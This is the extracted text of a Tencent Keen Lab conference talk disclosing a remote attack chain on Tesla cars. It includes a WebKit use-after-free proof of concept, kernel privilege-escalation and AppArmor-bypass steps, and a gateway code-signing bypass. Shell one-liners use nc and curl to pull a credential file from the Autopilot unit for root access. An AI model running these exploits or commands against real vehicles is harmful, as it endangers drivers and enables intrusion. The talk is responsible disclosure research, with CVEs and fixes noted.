How we Remotely Compromised
the Gateway, BCM, and Autopilot ECUs of Tesla Cars• Tencent Keen Security Lab• Researchers in KeenLab who are focusing on the researchof connected cars.

1.
2.

Bypass Code Signing Protection

3.

OTA Overview

4.

Easter Egg

5.

Root APE from CID

• User-Agent• Mozilla/5.0 (X11; Linux) AppleWebKit/534.34(KHTML, like Gecko) QtCarBrowser Safari/534.34• Webkit 534.34: 2016, 2017
• Webkit 601.1 : 2018

<!DOCTYPE html><script>
if (window.testRunner)
testRunner.dumpAsText();
function eventhandler1() {var transformList = document.createElementNS("http://www.w3.org/2000/svg","radialGradient").gradientTransform.baseVal;var transform = document.querySelector("svg").createSVGTransform();transformList.appendItem(transform);
var matrix = transform.matrix;
transformList.initialize(transform);
matrix.flipX();}</script>
This test passes if it doesn't crash under ASAN.
<svg onload="eventhandler1()">

<!DOCTYPE html><script>
if (window.testRunner)
testRunner.dumpAsText();
function eventhandler1() {var transformList = document.createElementNS("http://www.w3.org/2000/svg","radialGradient").gradientTransform.baseVal;var transform = document.querySelector("svg").createSVGTransform();transformList.appendItem(transform);
1. Memory allocatedvar matrix = transform.matrix;
transformList.initialize(transform);
2. Memory freed
matrix.flipX();
3. Used again}</script>
This test passes if it doesn't crash under ASAN.
<svg onload="eventhandler1()">

• AllocatetransformList.appendItem(transform);

WebCore::SVGListProperty<WebCore::SVGTransformList>::appendItemValuesAndWrappers(){…
PropertyType& values = animatedList->values();// Append the value and wrapper at the end of the list.
values.append(newItem->propertyReference());}• FreetransformList.initialize(transform);

WebCore::SVGListProperty<WebCore::SVGTransformList>::initializeValuesAndWrappers(){...
PropertyType& values = animatedList->values();values.clear();values.append(newItem->propertyReference());}

• A better way to Free transformList.clear();
WebCore::SVGListProperty<WebCore::SVGTransformList>::clearValuesAndWrappers(){...
animatedList->values().clear();}• Use after freematrix.flipX();

SVGMatrix flipX(){AffineTransform copy = *this;copy.flipX();
return static_cast<SVGMatrix>(copy);}• AllocatetransformList.appendItem(transform);• 1024 bytes
SVGTransform

SVGTransform

SVGMatrix

SVGMatrix• Use after freematrix.flipX();• Leak heap addressm_allocBase

leaked = matrix.a• Arbitrary address freematrix.a = u2d(address)
array.unshift(0)• Arbitrary address read• Construct a fake String in Array
JSValue

Fake
JSC::StringObject

Fake
JSC::JSStringFake
WTF::StringImpl• Arbitrary address write• fastFree() the header of Uint32Array• Define a new Uint32Array(6) to construct a fake headerUAF

• Old kernel• New kernel• Protection• PXN/PAN Emulation Enabled• dmesg restriction• NO KASLRCONFIG_CPU_SW_DOMAIN_PAN=y
CONFIG_SECURITY_DMESG_RESTRICT=y• Memory manager for Tegra GPU.

• ioctl()• NVMAP_IOC_CREATE• NVMAP_IOC_ALLOC• NVMAP_IOC_FREE• NVMAP_IOC_MMAP• NVMAP_IOC_PIN_MULT•…

• copy structure nvmap_pin_handle from user memory tokernel memory
struct nvmap_pin_handle {unsigned long handles;
unsigned long addr;__u32 count;};

handlesaddr/* array of handles to pin/unpin *//* array of addresses to return *//* number of entries in handles */count…

• Process every nvmap_handle structure in array handles• Root Causeint nvmap_pin_ids(struct nvmap_client *client, unsigned int nr, const unsigned long *ids){for (i = 0; i < nr && !ret; i++) {ref = _nvmap_validate_id_locked(client, ids[i]);if (ref) {...
} else {…
verify = nvmap_validate_get(client, ids[i]);if (verify)...
else
ret = -EPERM;
nvmap_ref_lock(client);}}
nr = i;validate…

• Trigger the vulnerability
int nvmap_pin_ids(struct nvmap_client *client, unsigned int nr, const unsigned long *ids){...
if (ret)goto out;...
out:
if (ret) {nvmap_ref_lock(client);...
for (i = 0; i < nr; i++)
nvmap_handle_put(h[i]);}return ret;}• Arbitrary address decrease by onestatic inline void nvmap_handle_put(struct nvmap_handle *h){int cnt = atomic_dec_return(&h->ref);if (WARN_ON(cnt < 0)) {pr_err("%s: %s put to negative references\n",__func__, current->comm);} else if (cnt == 0)_nvmap_handle_free(h);}• nvmap_handle
node
…

…

…

ref

pin

…

...

…

…

• Hijack $PC-0x10
Syscall table…

sys_accept4 – 0x10…

• JOP gadgets on v8.1(17.24.28)• Read memory• Write memory• Write• syscall(SYS_ACCEPT4, 0, target_address – gadget_address,half_value, gadget_address, 0, 0, RET_FAST_SYSCALL);• Bypass AppArmor• Patch aa_g_profile_mode with APPARMOR_COMPLAIN• Get root
• Patch setresuid()

1.

Hack into CID

2.
3.

OTA Overview

4.

Easter Egg

5.

Root APE from CID

• Update software will be load from the SD Card.
• Filename is “boot.img”• Files on SD Card are transferred via Ethernet.
• No signature/cert applied. Only do checksum on the file.
• ➔ Upload modified software directly, and reboot to run• Updater’s signature check is applied• Until last 0x48 bytes• SHA512 + ed25519

• Updater’s signature check is applied• Until last 0x48 bytes• SHA512 + ed25519• Cryptographic attack?
• Constants seems carefully picked,• Let’s check its implementation ;)• How the updater written to the SD card
• How the updater gets executd• File operate agent using typical TLV-style encoding scheme
uint16_tlen(Data)

CommandData• For read fileLen0x000A

Command0x00

Filename“file.img\x00”

Filename“file.img\x00”

NewName“used.img\x00”• And for rename
Len0x13

Command0x02

• In last year’s slide, we said “boot.img” is the updater, and:• In last year’s slides, we said upload the updater directly isforbidden.
• Upload “boot.img” is rejected here:• In last year’s slides, we said upload the update software
directly is not allowed.
• Actually, upload and then rename it to “boot.img” is also
disallowed.
• Transferring the “boot.img” should be finished by thediagnostic agent.

• Diagnostic agent have a similar protocol with fixed length(0x20).
• The related command is REBOOT_FOR_UPDATE(0x08).
Command (uint8_t) Filename
0x08“noboot.img\x00”• Diagnostic agent have a similar protocol with fixed length(0x20).
• The related command is REBOOT_FOR_UPDATE(0x08).
• It will verify the file and its signature, and rename if correct.

File Agent

File Agent

Diag Agent

Write Fileboot.img

1. Write Filenoboot.img

2. Verify Filenoboot.img

SD CardSD CardDiag AgentNO

3. RenameYES• When RESET is triggered, bootloader will be executed first• It would check if “boot.img” with a correct checksum exists
in the SD card and try to boot it• When RESET is triggered, bootloader will be executed first• It would check if “boot.img” with a correct checksum exists
in the SD card and try to boot it• Bootloader will NOT check the signature, in neither v1 or v2• Update bootloader is dangerous, since it may cause a bricked car• And without chip-level secure boot, update the bootloader is useless,since gateway code itself might also have vulns• TL;DR: we can always gain access again if a “boot.img” canbe put into the SD card ;)• Tesla is using FatFS r0.09• Written by ChaN, and default config is nearly not changed• Before FatFS write the new name to the chunk:for(si =0; lfn[si]==' '|| lfn[si]=='.'; si++);/* Strip leading spaces and dots */So
fatfs_rename("a.img", "\x20b.img");would have the same effect with
fatfs_rename("a.img", "b.img");

And gateway simply uses “strcmp” ☺

• Upload a malicious update software
Len0x000C

Command0x01

Filename“badupd.img\x00”• And rename it
Len0x16

Command0x02

Filename“badupd.img\x00”• And reboot directly
Command (uint8_t) Padding
0x00“\x00”*32

NewName“\x20boot.img\x00”

http://www.memegen.com/meme/9sb0i3

1.

Hack into CID

2.

Bypass Code Signing Protection

3.
4.

Easter Egg

5.

Root APE from CID

• “Firmware Bundle”• A large file contains anything required to do a fresh upgrade on a
Model S/X car.
• Encrypted• Some modules used during deploy• Message box• CDN• Job management• Some modules used during deploy• Message box• CDN• Job management• Each message contains a command• Firmware update can be triggered by new message in themessage box• QtCar would peek unread messages actively• Job management is a key part for OTA• Assign job ID for tracking each upgrade request• Preset checkpoints in key steps for diagnostic• POST name of the checkpoint to remote server• Engineers might set up this with a complex telemetry
infrastructure for quick responding to failures• Each ECU with Ethernet connected have a upgrade agent• ic-updater, cid-updater, …
• Nearly same framework• CID is getting the firmware and distribute it over the car• Consider cid-updater as local server, and ic-updater as remote agent• Both of them running a service command_service_listener• Local server may get remote agent if necessary• How other components upgraded?
• Take IC as a example• For IC:• New update• Go staged• Update verified• Staging• Write firmware into B part
• Staged & inactive• Reboot• Active• ECUs like BCCEN would be connected to the gateway• What we have mentioned before:• Flashing those ECUs are performed by “boot.img”• Firmwares used by updater in “release.tgz”• Updater mode is selected by “*.upd”• Now we would introduce how those files are picked• All firmware exists in folder deploy/seed_artifacts_v2 of thebundle• Important files:• Boot.img : Updater• Release_version.txt: Firmware version• Version_map2.tsv and Signed_metadata_map.tsv: Firmware info
• Internal_option_defaults.tsv: Firmware default config• Folders, named by ECU name, like esp/, gtw/, etc.
• ECUName/ProviderID/ECUFwName.hex. For example:• GTW/1/gatewayfw.hex

• *.tsv files would follow this pattern:
Version hash
ECUName:ProviderID

Path tofirmware

New
nameComponent
nameChecksum……

• Signature field is added after our previous bug report• For example

Requirement
sSignature• Pick firmwares:• Performed by cid-updater• Get car configuration and ECU configuration• Compare with values in *.tsv• Pack into release.tar.gz• Create correct *.upd file• Transfer all those files• Reboot_for_update

1.

Hack into CID

2.

Bypass Code Signing Protection

3.

OTA Overview

4.
5.

Root APE from CID

• What is Easter egg?
• A music show for Model X

Music playing
Actions and lights
BCFRONT

Ethernet

BCREAR
BD-CAN

CID

Gateway

BCCEN
CH-CAN PT-CAN

FOB

Status Check

User press• Stage 1 : Triggers on CID• Stage 2 : Start on BCCEN• Stage 3 : Easter Egg start• After long press of “T” button on CID

CID

0x21e
UDP ETH

Gateway

0x268
BD-CANCID

0x433UDP ETH

Gateway0x231
BD-CANBCCEN

Fob Signal

• BCCENFob Signal 433Mhz

BCCEN

Fob Signal BLE

0x231
BD-CAN• All the ECUs will follow the sync signal in BCFRONTBCREARCIDUDP ETH

Gateway

BCCEN

BD-CANBCFRONT………

• BCFRONTBCFRONTEgg table

0x7a3
BD-CAN
Instructions of motions

Body control ECUs

• All the ECUs will follow the sync signal in BCFRONTECUECU Function

BCFDM

Door Control Module LF

Door Control Module
RFDoor Control Module LR

BCRDM
BCFPM

Door Control Module RF

BCRPMDoor Control Module RR

BCCEN

Central Body Control Module

BCREAR

Rear Body Control Module

BCFRONT

Front Body Control Module

BCFALCD

Falcon Controller FrontBCFALCP

Falcon Controller Rear

• Patch in CID• Reverse of ECUs
• Patch in ECUs

• Patch the QtCar tosimulate the press• Bypass the codeand time checking• All body control ECUs are powerpc• Identify the RTOS

• Found out the segment table• Beginning of the initialization
SourcefollowSegment
Tablecopy

follow
Target• Segments
struct egg_table_action {DWORD sour_addr;
DWORD target_addr;DWORD length;};• Locate the code to check the fob status• sub_3520A• sub_36106 check the status of fob

• Locate the data of the Egg table with segment table• The size of BCCEN firmware is large than before
struct egg_table_action {BYTE type;
DWORD conf;
DWORD time;};/* 0:light, 1:Wing door, 2:regular door…
/* actions *//* time in ms */• Patch the size of Egg table

1.

Hack into CID

2.

Bypass Code Signing Protection

3.

OTA Overview

4.

Easter Egg

5.

• Provides driver assistance function
CID
192.168.90.100

IC
192.168.90.101

Gateway
192.168.90.102

APE
192.168.90.103

Other
192.168.90.*

• TCP port 25974• Command• TCP port 28496• http server• commnad via http request• handshakehandshake JSON• install• install http://va.teslamotors.com:80/xxxxx

• Override handshake JSON
do_m3_factory_deploy(..., command_line, ...){
dispatch_command("override_handshake {" command_line_argument "}");}• Used by installserve arbitrary file on http server

do_install(...){
do_serve("serve start " + handshake_json["self_serve"] );}echo -ne "m3-factory-deploy \"self_serve\":\"/var/etc/saccess/tesla1\"\nexit\n"|nc $APE $PORT_CMD > /dev/nullsleep 5
echo -ne "install http://8.8.8.8:8888/8888\nexit\n" | nc $APE $PORT_CMD > /dev/nullcurl $APE:$PORT_HTTP/var/etc/saccess/tesla1

• auth with password from tesla1• Execute system command with root privilege• Permit root to login via ssh• How• m3_factory_deploy() forbided on APE• check forbidden directories in do_serve()• Fixed in mid 2017
• Vulnerability exists for less than one month1.

Hack into CID

2.

Bypass Code Signing Protection

3.

OTA Overview

4.

Easter Egg

5.

Root APE from CID

Center Information Display
Gateway
Autopilot ECU
Body Control Modules• Quickly fixed in few days
• CVE-2017-9983: Gateway code sign protection bypass• CVE-2017-6261: Nvmap kernel local privilege escalation

• iptables• More strictly• cid-updater/ape-updater• Lots of bug fixed• saccess token no longer used as passwords• System upgrade• Can not rollback